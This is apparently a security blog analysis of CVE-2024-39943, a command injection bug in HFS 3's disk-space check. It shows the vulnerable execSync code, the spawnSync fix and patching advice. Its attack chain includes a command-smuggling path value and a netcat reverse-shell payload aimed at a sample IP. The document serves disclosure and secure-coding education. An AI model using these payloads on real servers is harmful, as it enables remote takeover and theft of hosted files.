Shells on the File System: Dissecting CVE-2024-39943 in HFS

Rejetto HFS (HTTP File Server) has been a staple in the IT administrator's toolkit for nearly two decades. It's the software equivalent of a Swiss Army knife: ugly, utilitarian, but incredibly effective for quickly spinning up a file share. Recently, the project underwent a massive metamorphosis, shifting from its original Delphi roots to a shiny new Node.js/TypeScript codebase known as HFS 3.

But as we all know, changing languages doesn't fix bad habits; it just translates them. In the rush to replicate functionality, the developers needed a way to check available disk space before accepting file uploads. It's a reasonable requirement—you don't want to crash the server by filling the partition.

However, the implementation of this feature committed the cardinal sin of web security: trusting user input inside a system shell command. This isn't some complex heap overflow or a race condition requiring frame-perfect timing. This is the kind of vulnerability that makes penetration testers giggle and sysadmins weep: direct, unadulterated Command Injection.

The vulnerability resides in src/util-os.ts within the getDiskSpaceSync function. The logic is simple: when a user attempts to upload a file, the server needs to know if there is enough space on the disk. To find this out, the application decided to ask the operating system directly using the df (disk free) utility.

Instead of using a native Node.js API to check disk stats (which, admittedly, can be tricky across platforms), the code opted to spawn a shell command. Specifically, it used execSync. In the Node.js world, exec and execSync are dangerous because they spawn a shell (/bin/sh on *nix) to interpret the command string.

This means that if any part of that command string is controlled by a user, and that user knows how to use a semicolon or a backtick, they aren't just uploading a file—they are effectively sitting at your terminal. The code attempted to wrap the path in double quotes, a defense that is about as effective as a screen door on a submarine.

Let's look at the exact moment things went south. Below is the vulnerable code found in versions prior to 0.52.10. Pay close attention to how the path variable is interpolated.

// Vulnerable Code in src/util-os.ts
export function getDiskSpaceSync(path: string) {
    // ... (omitted logic)
    while (path && !existsSync(path))
        path = dirname(path)
    
    // HERE IS THE BUG:
    const out = try_(() => execSync(`df -k "${path}"`).toString(),
        err => { /* error handling */ })
    
    // ...
}

The developer used a template string: `df -k "$\{path\}"`. If path is /home/user/uploads, the shell sees df -k "/home/user/uploads". Valid and safe.

But what if path is "; id; #? The shell sees: df -k ""; id; #"

The shell tries to run df -k "" (which might fail or show all mounts), then hits the semicolon ;, and dutifully executes id. The trailing quote is commented out by the #. We have achieved RCE.

The fix was straightforward: switch to spawnSync. Unlike exec, spawn does not invoke a shell by default. It treats arguments as literal strings, not commands to be parsed.

// Fixed Code (Commit 305381bd36eee074fb238b64302a252668daad1d)
// Note the switch to spawnSync and the array of arguments
const out = try_(() => spawnSync('df', ['-k', path]).stdout.toString(),
    err => { /* error handling */ })

Exploiting this isn't completely trivial due to one specific line of code preceding the injection:

while (path && !existsSync(path))
    path = dirname(path)

The application tries to be helpful by walking up the directory tree until it finds a folder that actually exists. If we send a path that is total garbage, the loop will strip it all the way down to / or . before passing it to df. This effectively sanitizes our payload by removing the injection vector before it hits the vulnerable function.

However, the attacker has Upload Permissions. This is the key. To exploit this, we don't just send a payload; we create the environment for it.

The Attack Chain:

1. Authenticate: Log in as a user with upload rights.
2. Stage: Create a directory (or upload a file) with a benign name, e.g., /uploads/images.
3. Trigger: Initiate an upload, but manipulate the destination path in the request.
4. Payload: We craft a path that looks like a valid subdirectory but contains our injection. For example: "/uploads/images/"; nc -e /bin/sh 10.0.0.1 4444 #.

If the application logic allows the path to persist long enough to hit the existsSync check—or if we can actually create a directory named "; (which is valid on Linux)—we win. Even if the loop strips parts of the path, if the attacker can influence the starting point of that check, they can ensure the malicious string is passed to execSync.

CVSS 9.9 is reserved for the "drop everything and patch" category. Why is this specific bug so severe? It combines Network Access with Low Complexity and High Impact.

HFS is designed to run as a server, often exposed to the public internet to share files with clients. While the vulnerability requires authentication, "upload permissions" is a very low bar. In many HFS deployments, guest accounts or shared credentials with upload rights are common.

Once code execution is achieved, the attacker runs with the privileges of the Node.js process. If the admin was lazy (and let's be honest, we all have our moments) and ran HFS as root, the attacker now owns the box. Even as a low-privileged user, they can pivot to internal networks, install persistence, or exfiltrate all the files hosted on the server.

Furthermore, the EPSS score sits at nearly 79%. This isn't a theoretical academic finding. Automated bots are actively scanning for this. If you have a vulnerable HFS instance facing the web, it's not a matter of if you get popped, but when.

The remediation here is a classic lesson in secure coding: Separation of Data and Code. By using exec or execSync, you are mixing data (the path) with code (the shell command). By switching to spawn or spawnSync, you clearly define what is the executable (df) and what are the arguments (path).

For Administrators: Update to HFS version 0.52.10 immediately. If you cannot update, restrict access to the HFS port to trusted IP addresses only, or disable account upload permissions.

For Developers: This serves as a reminder to lint your code for child_process.exec usage. It should almost always be replaced by child_process.spawn or child_process.execFile. If you absolutely must use exec, use a library like shell-quote to sanitize inputs, though even that is prone to edge cases. Just don't use the shell.